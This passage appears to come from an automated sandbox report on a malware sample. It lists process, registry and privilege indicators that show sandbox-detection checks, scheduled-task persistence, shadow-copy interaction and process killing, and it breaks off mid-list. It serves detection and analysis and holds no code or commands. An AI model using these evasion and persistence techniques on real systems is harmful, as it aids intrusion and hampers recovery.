13552 WerFault.exe HPtdGkvgCwJkk5NKbwdbNFdQ.exe 13404 4008 WerFault.exe 6vTmT3AzVoO_PiDma8QNJYDU.exe 1172 8656 WerFault.exe dI3jWwEhsS8bcxHKc9Vrdv2p.exe 8576 4008 WerFault.exe 6vTmT3AzVoO_PiDma8QNJYDU.exe 2288 4008 WerFault.exe 6vTmT3AzVoO_PiDma8QNJYDU.exe 14356 4008 WerFault.exe 6vTmT3AzVoO_PiDma8QNJYDU.exe 14920 684 WerFault.exe HPtdGkvgCwJkk5NKbwdbNFdQ.exe 17396 16504 WerFault.exe HPtdGkvgCwJkk5NKbwdbNFdQ.exe 15628 16804 WerFault.exe yT_Z0jcAD170TtmNZPfbCYNg.exe 18896 17796 WerFault.exe pHrjFn0JghHcSzNSYVgSAwye.exe 14472 18784 WerFault.exe pHrjFn0JghHcSzNSYVgSAwye.exe 18540 18872 WerFault.exe bsAHMR9SLMNilHc2INYLd0Z4.exe 21152 17056 WerFault.exe yT_Z0jcAD170TtmNZPfbCYNg.exe 21068 20944 WerFault.exe yT_Z0jcAD170TtmNZPfbCYNg.exe 22456 21608 WerFault.exe yT_Z0jcAD170TtmNZPfbCYNg.exe 23584 23420 WerFault.exe pHrjFn0JghHcSzNSYVgSAwye.exe 23664 23576 WerFault.exe pHrjFn0JghHcSzNSYVgSAwye.exe 25568 20204 WerFault.exe HPtdGkvgCwJkk5NKbwdbNFdQ.exe 26836 27296 WerFault.exe bsAHMR9SLMNilHc2INYLd0Z4.exe 28884 29064 WerFault.exe XqWCCUXJD3SL0eVrjwP835FS.exe 27524 30460 WerFault.exe XqWCCUXJD3SL0eVrjwP835FS.exe 22196 23780 WerFault.exe HPtdGkvgCwJkk5NKbwdbNFdQ.exe 33236 29136 WerFault.exe HPtdGkvgCwJkk5NKbwdbNFdQ.exe 30744 24392 WerFault.exe HPtdGkvgCwJkk5NKbwdbNFdQ.exe 34168 22888 WerFault.exe HPtdGkvgCwJkk5NKbwdbNFdQ.exe 22196 34712 -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
0owlM_QtHd1DBA9oA1tl9W7c.exedescription ioc process Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 0owlM_QtHd1DBA9oA1tl9W7c.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 0owlM_QtHd1DBA9oA1tl9W7c.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 0owlM_QtHd1DBA9oA1tl9W7c.exe -
Checks processor information in registry 2 TTPs 7 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
firefox.exesvchost.exesNkTblinrlq2kPml3ZtF0WB3.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 sNkTblinrlq2kPml3ZtF0WB3.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString sNkTblinrlq2kPml3ZtF0WB3.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exepid process 8288 schtasks.exe 12180 schtasks.exe 12164 schtasks.exe -
Delays execution with timeout.exe 2 IoCs
Processes:
timeout.exepid process 15836 timeout.exe 22852 -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Kills process with taskkill 8 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 7056 taskkill.exe 7564 taskkill.exe 9564 taskkill.exe 6356 taskkill.exe 14400 taskkill.exe 4516 taskkill.exe 7376 taskkill.exe 4980 taskkill.exe -
Processes:
OneDriveSetup.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\OneDrive.exe = "11000" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION OneDriveSetup.exe -
Modifies data under HKEY_USERS 5 IoCs
Processes:
svchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit svchost.exe -
Modifies registry class 64 IoCs
Processes:
OneDriveSetup.exeFileSyncConfig.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{0299ECA9-80B6-43C8-A79A-FB1C5F19E7D8}\ = "IFileSyncClient3" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{ACDB5DB0-C9D5-461C-BAAA-5DCE0B980E40} OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.150.0725.0001\\FileSyncShell.dll" OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{7AFDFDDB-F914-11E4-8377-6C3BE50D980C} OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{5D5DD08F-A10E-4FEF-BCA7-E73E666FC66C}\ = "IFileSyncClient8" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{0776ae27-5ab9-4e18-9063-1836da63117a} OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\TYPELIB\{638805C3-4BA3-4AC8-8AAC-71A0BA2BC284}\1.0\FLAGS OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Directory\shellex\ContextMenuHandlers\ FileSyncEx OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{B05D37A9-03A2-45CF-8850-F660DF0CBF07} OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{A926714B-7BFC-4D08-A035-80021395FFA8}\LocalServer32\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.150.0725.0001\\FileCoAuth.exe\"" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\InProcServer32 FileSyncConfig.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{AEEBAD4E-3E0A-415B-9B94-19C499CD7B6A}\ = "IClientPolicySettingsEvents" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{C5FF006E-2AE9-408C-B85B-2DFDD5449D9C} OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\SyncEngineStorageProviderHandlerProxy.SyncEngineStorageProviderHandlerProxy.1\CLSID OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\ShellFolder FileSyncConfig.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{2692D1F2-2C7C-4AE0-8E73-8F37736C912D}\TypeLib OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{1B71F23B-E61F-45C9-83BA-235D55F50CF9}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{049FED7E-C3EA-4B66-9D92-10E8085D60FB} OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{049FED7E-C3EA-4B66-9D92-10E8085D60FB}\ = "IGetItemPropertiesCallback" OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{20894375-46AE-46E2-BAFD-CB38975CDCE6}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.150.0725.0001\\FileSyncShell.dll" OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\OOBERequestHandler.OOBERequestHandler\ = "OOBERequestHandler Class" OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{E9DE26A1-51B2-47B4-B1BF-C87059CC02A7}\PROXYSTUBCLSID32 OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{BBACC218-34EA-4666-9D7A-C78F2274A524} OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{B05D37A9-03A2-45CF-8850-F660DF0CBF07} OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{F0AF7C30-EAE4-4644-961D-54E6E28708D6}\ = "ISyncEngineCOMServer" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{C2FE84F5-E036-4A07-950C-9BFD3EAB983A} OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\INTERFACE\{0299ECA9-80B6-43C8-A79A-FB1C5F19E7D8}\PROXYSTUBCLSID32 OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{2B865677-AC3A-43BD-B9E7-BF6FCD3F0596}\ProxyStubClsid32 OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{ACDB5DB0-C9D5-461C-BAAA-5DCE0B980E40}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{9D613F8A-B30E-4938-8490-CB5677701EBF}\PROXYSTUBCLSID32 OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{B05D37A9-03A2-45CF-8850-F660DF0CBF07} OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{F062BA81-ADFE-4A92-886A-23FD851D6406} OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\FILESYNCCLIENT.AUTOPLAYHANDLER.1\CLSID OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\TypeLib\{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}\1.0 OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\CLSID\{5AB7172C-9C11-405C-8DD5-AF20F3606282}\INPROCSERVER32 OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{2EB31403-EBE0-41EA-AE91-A1953104EA55}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}" OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\CLSID\{AB807329-7324-431B-8B36-DBD581F56E0B}\VERSIONINDEPENDENTPROGID OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{2387C6BD-9A36-41A2-88ED-FF731E529384}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{c1439245-96b4-47fc-b391-679386c5d40f} OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\TypeLib\{082D3FEC-D0D0-4DF6-A988-053FECE7B884}\1.0\FLAGS OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{390AF5A7-1390-4255-9BC9-935BFCFA5D57}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}" OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{22A68885-0FD9-42F6-9DED-4FB174DC7344}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\FileSyncClient.FileSyncClient OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}\LocalServer32\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.150.0725.0001\\FileCoAuth.exe\"" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{869BDA08-7ACF-42B8-91AE-4D8D597C0B33}\TypeLib OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\grvopen\DefaultIcon OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\INTERFACE\{466F31F7-9892-477E-B189-FA5C59DE3603}\TYPELIB OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\CLSID\{94269C4E-071A-4116-90E6-52E557067E4E}\LOCALSERVER32 OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\CLSID\{389510B7-9E58-40D7-98BF-60B911CB0EA9}\LOCALSERVER32 OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{0299ECA9-80B6-43C8-A79A-FB1C5F19E7D8} OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\.fluid\shell\open OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\BANNERNOTIFICATIONHANDLER.BANNERNOTIFICATIONHANDLER\CLSID OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{b5c25645-7426-433f-8a5f-42b7ff27a7b2} OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{1196AE48-D92B-4BC7-85DE-664EC3F761F1}\TypeLib OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\*\shellex\ContextMenuHandlers\ FileSyncEx OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{50487D09-FFA9-45E1-8DF5-D457F646CD83}\TypeLib OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{0d4e4444-cb20-4c2b-b8b2-94e5656ecae8} OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{20894375-46AE-46E2-BAFD-CB38975CDCE6}\ = "ShareHandler Class" OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\CLSID\{9489FEB2-1925-4D01-B788-6D912C70F7F2}\TYPELIB OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\ = "OneDrive" FileSyncConfig.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{EA23A664-A558-4548-A8FE-A6B94D37C3CF}\TypeLib OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{31508CC7-9BC7-494B-9D0F-7B1C7F144182}\ = "IContextMenuHandler" OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\INTERFACE\{22A68885-0FD9-42F6-9DED-4FB174DC7344}\PROXYSTUBCLSID32 OneDriveSetup.exe -
Processes:
Setup.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Setup.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Setup.exe -
Script User-Agent 11 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 196 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 286 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 934 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 140 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 138 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 179 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 181 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 183 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 308 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 793 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 137 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
OneDriveStandaloneUpdater.exeOneDriveSetup.exeOneDriveSetup.exeSetup.exe80xZc0N6ntVTx2jU4_2jwHUh.exe0owlM_QtHd1DBA9oA1tl9W7c.exeWerFault.execmd.exepid process 868 OneDriveStandaloneUpdater.exe 868 OneDriveStandaloneUpdater.exe 868 OneDriveStandaloneUpdater.exe 868 OneDriveStandaloneUpdater.exe 2600 OneDriveSetup.exe 2600 OneDriveSetup.exe 2600 OneDriveSetup.exe 2600 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4216 OneDriveSetup.exe 4068 Setup.exe 4068 Setup.exe 820 80xZc0N6ntVTx2jU4_2jwHUh.exe 820 80xZc0N6ntVTx2jU4_2jwHUh.exe 820 80xZc0N6ntVTx2jU4_2jwHUh.exe 820 80xZc0N6ntVTx2jU4_2jwHUh.exe 4796 0owlM_QtHd1DBA9oA1tl9W7c.exe 4796 0owlM_QtHd1DBA9oA1tl9W7c.exe 3284 WerFault.exe 3284 WerFault.exe 3284 WerFault.exe 3284 WerFault.exe 3284 WerFault.exe 3284 WerFault.exe 3284 WerFault.exe 3284 WerFault.exe 3284 WerFault.exe 3284 WerFault.exe 3284 WerFault.exe 3284 WerFault.exe 3284 WerFault.exe 3284 WerFault.exe 3284 WerFault.exe 3284 WerFault.exe 3284 WerFault.exe 3284 WerFault.exe 3284 WerFault.exe 3284 WerFault.exe 4620 cmd.exe 4620 cmd.exe 4620 cmd.exe 4620 cmd.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
0owlM_QtHd1DBA9oA1tl9W7c.exepid process 4796 0owlM_QtHd1DBA9oA1tl9W7c.exe -
Suspicious behavior: SetClipboardViewer 1 IoCs
Processes:
WinHoster.exepid process 6180 WinHoster.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
OneDriveSetup.exesvchost.exepHrjFn0JghHcSzNSYVgSAwye.exemWQ9j0HNTxxR49YL0zL9N7la.exeWerFault.exevibKc0F9sMr3HW5E3dsZbcrm.execmd.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe6799706.exeOZh9vK7V0KZTJFWTZZBce7SX.exe2349883.exe8500963.exe6AdFGi0UHc2Z_uw6Lp_d7TDO.exe30X0JyTHZ4ptVyQ6OOKMvyE6.exe8927558.exeWerFault.exeWerFault.exetaskkill.exeWerFault.exeXqWCCUXJD3SL0eVrjwP835FS.exeXqWCCUXJD3SL0eVrjwP835FS.exeWerFault.exeWerFault.exerundll32.exesvchost.exe1251436.exe1975493.exeWerFault.exedescription pid process Token: SeIncreaseQuotaPrivilege 2600 OneDriveSetup.exe Token: SeTcbPrivilege 4188 svchost.exe Token: SeTcbPrivilege 4188 svchost.exe Token: SeDebugPrivilege 2872 pHrjFn0JghHcSzNSYVgSAwye.exe Token: SeDebugPrivilege 4820 mWQ9j0HNTxxR49YL0zL9N7la.exe Token: SeRestorePrivilege 3284 WerFault.exe Token: SeBackupPrivilege 3284 WerFault.exe Token: SeDebugPrivilege 3088 vibKc0F9sMr3HW5E3dsZbcrm.exe Token: SeDebugPrivilege 3284 WerFault.exe Token: SeDebugPrivilege 4620 cmd.exe Token: SeDebugPrivilege 3768 WerFault.exe Token: SeDebugPrivilege 2752 WerFault.exe Token: SeDebugPrivilege 5336 WerFault.exe Token: SeDebugPrivilege 5356 WerFault.exe Token: SeDebugPrivilege 5652 WerFault.exe Token: SeDebugPrivilege 5676 WerFault.exe Token: SeDebugPrivilege 5708 WerFault.exe Token: SeDebugPrivilege 6084 WerFault.exe Token: SeDebugPrivilege 6028 6799706.exe Token: SeDebugPrivilege 5088 OZh9vK7V0KZTJFWTZZBce7SX.exe Token: SeDebugPrivilege 5788 2349883.exe Token: SeDebugPrivilege 4132 8500963.exe Token: SeDebugPrivilege 4236 6AdFGi0UHc2Z_uw6Lp_d7TDO.exe Token: SeDebugPrivilege 4508 30X0JyTHZ4ptVyQ6OOKMvyE6.exe Token: SeDebugPrivilege 5752 8927558.exe Token: SeDebugPrivilege 6072 WerFault.exe Token: SeDebugPrivilege 3944 WerFault.exe Token: SeDebugPrivilege 4516 taskkill.exe Token: SeDebugPrivilege 5736 WerFault.exe Token: SeDebugPrivilege 4920 XqWCCUXJD3SL0eVrjwP835FS.exe Token: SeDebugPrivilege 4984 XqWCCUXJD3SL0eVrjwP835FS.exe Token: SeDebugPrivilege 5140 WerFault.exe Token: SeDebugPrivilege 4492 WerFault.exe Token: SeDebugPrivilege 6436 rundll32.exe Token: SeDebugPrivilege 596 svchost.exe Token: SeDebugPrivilege 6436 rundll32.exe Token: SeDebugPrivilege 6436 rundll32.exe Token: SeDebugPrivilege 6436 rundll32.exe Token: SeDebugPrivilege 6436 rundll32.exe Token: SeDebugPrivilege 5968 1251436.exe Token: SeDebugPrivilege 5908 1975493.exe Token: SeDebugPrivilege 6436 rundll32.exe Token: SeDebugPrivilege 6436 rundll32.exe Token: SeDebugPrivilege 6436 rundll32.exe Token: SeDebugPrivilege 6436 rundll32.exe Token: SeDebugPrivilege 5932 WerFault.exe Token: SeDebugPrivilege 6436 rundll32.exe Token: SeDebugPrivilege 6436 rundll32.exe Token: SeDebugPrivilege 6436 rundll32.exe Token: SeShutdownPrivilege 2252 Token: SeCreatePagefilePrivilege 2252 Token: SeShutdownPrivilege 2252 Token: SeCreatePagefilePrivilege 2252 Token: SeShutdownPrivilege 2252 Token: SeCreatePagefilePrivilege 2252 Token: SeShutdownPrivilege 2252 Token: 